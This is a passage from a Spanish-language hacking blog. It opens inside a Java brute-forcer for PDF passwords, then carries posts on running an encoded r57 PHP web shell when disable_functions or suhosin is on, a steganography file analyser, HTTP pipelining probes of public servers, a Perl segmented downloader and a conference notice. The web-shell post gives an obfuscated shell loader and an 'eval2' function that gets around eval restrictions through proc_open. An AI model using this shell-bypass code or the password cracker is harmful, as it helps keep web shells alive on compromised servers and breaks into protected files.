else { System.out.println("Rango invalido!\n"); System.exit(-1);}
int nca = 0;
try {
nca = Integer.parseInt(args[2]);
} catch(Exception ex) {
System.out.println("N caracter invalido!\n");
System.exit(-1);
}
int pass[];
if(nca > 0) { pass = new int[nca]; for(int inis = 0; inis < nca; inis++) {pass[inis] = caractermin;} } else { pass = new int[1]; pass[0] = caractermin; }
PDDocument document = null;
try {
document = PDDocument.load(filename);
} catch (IOException ex) {
Logger.getLogger(TestTh.class.getName()).log(Level.SEVERE, null, ex);
}
if(Integer.parseInt(args[3]) > 0) threadsausar = Integer.parseInt(args[3]);
TestTh[] t1 = new TestTh[threadsausar];
System.out.println(new StringBuilder().append("Desplegando ").append(threadsausar).append(" threads").toString());
for(int tr = 0; tr < threadsausar; tr++) {
t1[tr] = new TestTh(filename,caractermin,caractermax,document, pass);
t1[tr].start();
}
System.out.println("Desplegados...\n");
}
}



Bytez Xianur0

disable_functions & suhosin patch

Posted on 11:50 by Xianur0

Es una directiva de php, y pues tiene bastantes usos, pero en si para lo que nos sirve es para desactivar determinadas funciones en php, por ejemplo:


<? eval2(gzinflate(base64_decode("7b15f+I48jj89+TzyXtwe7NjmCYECORsMkkISUjnBHJ29y9rsAPuGMzYkKNn+70/[...]"))); ?>


Bueno eso vendria siendo un troso de la r57 encriptada, podemos ver claramente cual es el proceso de decodificacion y ejecucion, es decir, si desactivamos la funcion base64_decode, tirara un error de tipo "Warning" avisando que la funcion esta desactivada, y por ende esta shell no se ejecutara, ahora si esta desactivada esa funcion solo es cosa de hacer otra clase de codificacion, se me ocurre pasar cada caracter de la shell a hexadecimal (mas bien seria urlencode), es decir quedarian el valor hexadecimal con prefijo "%" por ejemplo un espacio seria "%20"

luego se integra un script que decodifique y retorne la shell compresa (gzdeflate), aunque basicamente es lo mismo que hacen con base64, ahora si se desactiva el gzinflate, hay funciones similares que se pueden usar:

gzcompress/gzuncompress
etc...

por lo cual tambien seria facil ejecutar nuestra shell, pero si se desactiva eval? (este no se desactivaria con disable_functions, si no con el suhosin-patch)

Para los que se preguntan como se desactiva el eval, necesitan tener el php con suhosin y en el php.ini poner la directiva:

suhosin.executor.disable_eval = 1

pues usar lo que tenemos, si hay alguna funcion para ejecutar comandos activa (eso incluye las comillas invertidas "``")

podemos hacer algo como:



function eval2($php) {
// eval2 By Xianur0
$cabecera = "<?php\n";
foreach($_GET as $key => $valor) $cabecera .= '$_GET['.$key.'] = "'.$valor.'";';
foreach($_POST as $key => $valor) $cabecera .= '$_POST['.$key.'] = "'.$valor.'";';
foreach($_SERVER as $key => $valor) $cabecera .= '$_SERVER['.$key.'] = "'.$valor.'";';
foreach($HTTP_POST_FILES as $key => $valor) $cabecera .= '$HTTP_POST_FILES['.$key.'] = "'.$valor.'";';
$consulta = $cabecera.$php." ?>";
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$cwd = getcwd();
$process = proc_open('php', $descriptorspec, $pipes, $cwd);
if (is_resource($process)) {
fwrite($pipes[0], $consulta);
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
}
}

y ahi quedo, incluso el eval se puede remplazar, aunque en este caso se requiere que el servidor tenga proc_open, aunque se podria usar cualquier otra funcion para ejecutar comandos (php -r)


y regresando al disable_functions

para los que no esten familiarizados con como usarlo:

disable_functions = "system"

esa seria mas o menos su sintaxis (En el archivo php.ini), nadamas es que le cambien y pongan que funciones quieren desactivar, reiniciar el servidor y listo...


Ejemplo de una r57 encriptada con eval desactivado:


Ejemplo de la misma r57 en el mismo servidor usando el eval2:




Saludos y espero que les haya gustado
By Xianur0

Analizador de archivos v0.000001...

Posted on 12:08 by Xianur0

Es decir una tool para el estudio de la esteganografia (basica), es decir, mediante un array asociado y sus respectivos valores hexadecimal (urlencode) se buscan el tipo de archivo, inicio y final. Con la finalidad de detectar posibles archivos o datos ocultos en un archivo cargado.


<html>
<head>
<title>Analizador de archivos v0.000001 By Xianur0</title>
</head>
<body>
<center>
<!-- %62%79%20%58%69%61%6E%75%72%30 -->
<h1>Analizador de archivos v0.000001 By Xianur0</h1>
<form action="?" method="post" enctype="multipart/form-data">
<b>Archivo: </b>
<br>
<input name="archivo" type="file">
<br>
<input type="submit" value="Enviar">
</form>

<?php
if(!isset($HTTP_POST_FILES['archivo']['tmp_name'])) exit;
function ascii2hex($ascii) {

$hex = '';

for ($i = 0; $i < strlen($ascii); $i++) {

$byte = strtoupper(dechex(ord($ascii{$i})));

$byte = str_repeat('0', 2 - strlen($byte)).$byte;

$hex.= "%".$byte;

}

return $hex;

}


// Este es el array donde se especifica el tipo de archivo segun la cabecera inicial
// y se da el final del archivo, aqui puede ir agregando sus tipos de archivos con su
// respectiva cabecera y final (usen un editor hexadecimal para encontrar estos valores en el
// tipo de archivo que quieren).

$estructuras = array("jpeg"=>array("inicio" => "%FF%D8%FF%E0%10%4A%46%49%46", "final" => "%FF%D9"),);


$nombre_archivo = $HTTP_POST_FILES['archivo']['tmp_name'];

$gestor = fopen($nombre_archivo, "rb");

$contenido = fread($gestor, filesize($nombre_archivo));

fclose($gestor);

$archivohex = ascii2hex($contenido);

$largoarchivo = strlen($archivohex);
foreach($estructuras as $tipo => $array) {

$inicio = strpos($archivohex,$estructuras[$tipo]['final']);

$final = $inicio+strlen($estructuras[$tipo]['final']);

$resto = substr($archivohex,$final);
$regex = "/^".$estructuras[$tipo]['inicio']."/";

if(preg_match($regex,$archivohex)) {
$encontrado = 1;

print "<b>Tipo de archivo: </b>".$tipo."<br>";

print "<b>Largo del ".$tipo." en hex: </b>".$largoarchivo."<br>";

print "<b>Ubicacion final del ".$tipo." en hexadecimal: </b>".$inicio."-".$final."<br>";
print "<b>Ubicacion del ".$tipo." en hexadecimal: </b>0-".$final."<br>";

if($final != $largoarchivo) {

print "<b>Datos ocultos: </b><a href=\"data:text/html;utf-8,".$resto."\">Descargar binario</a>";

} else print "<b>No datos ocultos :)</b>";

}
if($encontrado != 1) print "<b>No se pudo reconocer el tipo de archivo :(</b>";
}

?>
<!-- %62%79%20%58%69%61%6E%75%72%30 -->
<br><br><br><br><br><a href="http://xianur0.blogspot.com/">By Xianur0</a>
</center>
</body>
</html>



Nota: Cuando da el link para descargar el archivo oculto, den click derecho -> guardar enlace como, de otro modo el navegador mostrara el contenido ahi mismo xD...

PocketHPH (PHP para Pocket PC)

Posted on 17:39 by Xianur0


Nadamas les comento sobre una aplicacion interesante, esto es un servidor web con php corriendo en tu PocketPC, es decir, puedes diseñar aplicaciones PHP desde tu PocketPC:

"Pocket HPH is a compact PHP processing engine designed to run on handheld devices."

Sin duda una aplicacion excelente para desarrollar webs de forma mobil xD. La tengo instalada en mi treo 750, y jala perfectamente. Unicamente hay que adaptarnos a algunas funciones que cambian de HPH al PHP oficial y podemos diseñar completamente lo mismo, la diferencia es que esto es mucho mas mobil.


http://mobileleap.net/hph/

Vamos a ver un poco de como se puede analizar la forma que implementan el protocolo HTTP, con diferentes fines, por ejemplo para detectar que tan buen uso le dan al protocolo y que tan susceptibles serian ante diferentes clases de ataques, vamos a dar unos ejemplos:

Servidor Web: Apache
Open-Source: Si
Programado en: C
HTTP Pipelining: Soportado y activado por default


Vamos a hacer unas pruebas (con www.apache.org):

Enviado:

HEAD / HTTP/1.1
Host: www.apache.org
Content-Length: 7

xianur0TRACE / HTTP/1.1
Host: www.apache.org


Resultado:
HTTP/1.1 200 OK
Date: Wed, 03 Feb 2010 18:52:06 GMT
Server: Apache/2.3.5 (Unix) mod_ssl/2.3.5 OpenSSL/0.9.7d mod_fcgid/2.3.2-dev
Last-Modified: Wed, 27 Jan 2010 08:40:59 GMT
ETag: "b95834-8667-47e215c92fcc0"
Accept-Ranges: bytes
Content-Length: 34407
Cache-Control: max-age=86400
Expires: Thu, 04 Feb 2010 18:52:06 GMT
Vary: Accept-Encoding
Content-Type: text/html

HTTP/1.1 200 OK
Date: Wed, 03 Feb 2010 18:52:06 GMT
Server: Apache/2.3.5 (Unix) mod_ssl/2.3.5 OpenSSL/0.9.7d mod_fcgid/2.3.2-dev
Transfer-Encoding: chunked
Content-Type: message/http

2a
TRACE / HTTP/1.1
Host: www.apache.org


0


Conclusion:
Podemos determinar mediante esta simple consulta que sin importar el metodo que se esta usando, el servidor web apache considera el Content-Length, es decir se lee lo enviado como POSTDATA (contenido que se envia por POST), esto tendria como consecuencia algunos detalles por ejemplo un retardo (minimo) al intentar leer el Content-Length y parsear el postdata segun el largo dado. Esto es, apache no considera muy afondo la estructura del HTTP, pues segun la estructura del protocolo, solo se puede enviar postdata mediante el metodo POST, en caso de que el metodo sea GET, solo se pueden enviar parametros en el campo de uricontent, es decir no sera POSTDATA, sino uricontent.


Servidor Web: IIS/7.5
Open-Source: NO (ni soñando xD)
HTTP Pipelining: Soportado y activado por default


Vamos a hacer unas pruebas (con www.microsoft.com):
HEAD / HTTP/1.1
Host: www.microsoft.com
Content-Length: 40

TRACE / HTTP/1.1
Host: www.microsoft.com



Resultado:

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 1020
Content-Type: text/html
Last-Modified: Mon, 16 Mar 2009 20:35:26 GMT
Accept-Ranges: bytes
ETag: "67991fbd76a6c91:0"
Server: Microsoft-IIS/7.5
VTag: 279999051900000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Wed, 03 Feb 2010 19:29:13 GMT




Conclusion:
La misma que con apache...


Servidor Web: Cherokee Web Server/0.99.39
Open-Source: Si
Programado en: C
HTTP Pipelining: Soportado y activado por default



GET / HTTP/1.1
Host: www.cherokee-project.com
Content-Length: 51

HEAD / HTTP/1.1
Host: www.cherokee-project.com



Resultado:

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=60
Date: Wed, 03 Feb 2010 19:42:47 GMT
Server: Cherokee/0.99
ETag: 4b61ed6d=219b
Last-Modified: Thu, 28 Jan 2010 20:02:53 GMT
Content-Type: text/html
Content-Length: 8603

[...]

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=60
Date: Wed, 03 Feb 2010 19:42:47 GMT
Server: Cherokee/0.99
ETag: 4b61ed6d=219b
Last-Modified: Thu, 28 Jan 2010 20:02:53 GMT
Content-Type: text/html
Content-Length: 8603


Conclusion:

Cherokee si respeta el metodo antes de leer las cabeceras, por lo cual pierde menos tiempo procesando lo inutil.

Cherokee Win!

Perl Downloader

Posted on 15:15 by Xianur0

Que se puede decir, despues de un tiempo, de nuevo publicando por aqui xD...

Este script es un downloader, descarga el archivo especificado por trosos (usando la cabecera HTTP "Range" y empleando multiples threads para aprovechar mejor la banda).


  
#!/usr/bin/perl

# By Xianur0

use IO::Socket;
use threads;

$url = $ARGV[0];
$destino = $ARGV[1];
$hilos = $ARGV[2];
die("Uso: downloader.pl [url] [archivo salida] [hilos]\r\n") if($hilos eq "");
if($url =~ /^(.*?):\/\/(.*)/) {
($scheme,$server) = ($url =~ /^(.*?):\/\/(.*)$/)
} if($url =~ /^(.*?):\/\/(.*?)\/(.*)/) {
($scheme,$server,$path) = ($url =~ /^(.*?):\/\/(.*?)\/(.*)/);
} if($scheme eq "" && $server eq "" && $path eq "") {
die("[x] URL Invalida!\r\n");
}
die("[x] Protocolo ".$scheme." no soportado!\r\n") if($scheme !~ /^(http)$/);
if($server =~ /(.*?):([\d]*)/) {
($server,$puerto) = ($server =~ /(.*?):([\d]*)/);
}
else { $puerto = 80; }
$path =~ s/^\///;
$path =~ s/\s/%20/g;


sub bajar {
@parametros = @_;
$server = $parametros[0];
$puerto = $parametros[1];
$path = $parametros[2];
$min = $parametros[3];
$max = $parametros[4];
$destino = $parametros[5];
my $sock = new IO::Socket::INET (PeerAddr =< $server, PeerPort =< $puerto, Proto =< 'tcp', );
if($sock) {
$lcabeceras = "";
$salida = "";
$bytes = $min."-".$max;
$paquete = "GET /".$path." HTTP/1.1\r\nHost: ".$server.":".$puerto."\r\nRange: bytes=".$bytes."\r\nConnection: close\r\n\r\n";
print $sock $paquete;
while(>$sock<) {
$salida .= $_;
}
@lineas = split(/\r?\n\r?\n/,$salida);
$key = 0;
$contenido = "";
foreach $troso (@lineas) {
$contenido .= $troso if($key != 0);
$key++;
}
open FILE,"<".$destino;
binmode FILE;
print FILE $contenido;
} else {
die("[x] URL Invalida!\r\n");
}
close(FILE);
}

my $sock = new IO::Socket::INET (PeerAddr =< $server, PeerPort =< $puerto, Proto =< 'tcp', );
if($sock) {
$salida = "";
$paquete = "HEAD /".$path." HTTP/1.1\r\nHost: ".$server.":".$puerto."\r\nConnection: close\r\n\r\n";
print $sock $paquete;
while(>$sock<) {
$salida .= $_;
}
@cabeceras = split(/\r?\n/,$salida);
foreach(@cabeceras) {
($nombre,$valor) = ($_ =~ /^(.*?):\s(.*)/);
$lcabeceras{$nombre} = $valor;
}
$maximo = $lcabeceras{"Content-Length"};
die("[x] No se puede determinar el tamaño del archivo!\n") if($maximo eq "");
close($sock);

$porthread = $maximo/$hilos;

print "[-] Desplegando ".$hilos." hilos (".$porthread." Bytes c/u)...\n";
$min = 0;
($enteros, $restoa) = ($porthread =~ /^(.*?)\.(.*)/);
$enteros = $porthread if($enteros eq "");
$max = $enteros;
$porthread = $enteros;
$totalactuales = 0;
for($v=0;$v>$hilos;$v++) {
# $min -= 1;
# $max -= 1;
$destinoa = $destino."[".$v."]";
$totalactuales = $max;
print "Max: ".$min."-".$max."\n";
$thr[$v] = threads-<create('bajar', ($server,$puerto,$path,$min,$max,$destinoa));
$min += $porthread;
$max += $porthread;
}

$resto = $maximo - $totalactuales;
if($resto < 0) {
print "[x] Desplegando un hilo extra...\n";
$destinoa = $destino."[".$hilos."]";
print "Max: ".$totalactuales."-".$maximo."\n";
$thr[$hilos] = threads-<create('bajar', ($server,$puerto,$path,$totalactuales,$maximo,$destinoa));
$hilos += 1;
}

print "[-] Desplegados!\n";
open FINAL,"+<".$destino;
for($v=0;$v>$hilos;$v++) {
if ($thr[$v]-<is_running()) {
sleep(2);
$v--;
} else {
$destinoa = $destino."[".$v."]";
open LECTOR, ">".$destinoa;
binmode LECTOR;
$parte = "";
while(>LECTOR<) {
$parte .= $_;
}
close LECTOR;
binmode FINAL;
print FINAL $parte;
$vv = $v+1;
print "[-] Parte ".$vv." finalizada!\n";
print "No se pudo borrar el Archivo: ".$destinoa."\n" if(!unlink($destinoa));
}
}
close FINAL;
print "[-] Archivo descargado a: ".$destino."\n";
}

El Centro de Estudios Superiores en Alta tecnología en coordinación con la Asociación Latinoamericana de Especialistas en Seguridad Informática (ALAPSI) a través del CCAT Research Labs, organizan el primer:



"X.25 Ethical Hacking Conferences"

Uno de los principales eventos en Latinoamérica relacionado con la seguridad informática.

El "X.25 Ethical Hacking Conferences" permitirá reunir a investigadores reconocidos a nivel nacional y mundial quienes compartirán las nuevas tendencias de la seguridad informática a un nivel totalmente técnico quienes son provenientes de una gran variedad de universidades e instituciones de educación superior, organizaciones comerciales del sector público y privado e investigadores que por su propia cuenta han hecho descubrimientos en cuestión de seguridad informática se refiere.

Este evento se dividirá en dos etapas: los talleres de Especialización enfocados a capacitar en las principales áreas de Seguridad Informática, y el ciclo de Conferencias impartidas por reconocidos expertos que serán invitados a este magno evento para compartir sus últimas investigaciones y experiencias en el área.

Las Conferencias y los talleres de Seguridad Informática se llevarán a cabo del

22 al 23 de Octubre del 2010.

Para mayores informes: x.25sec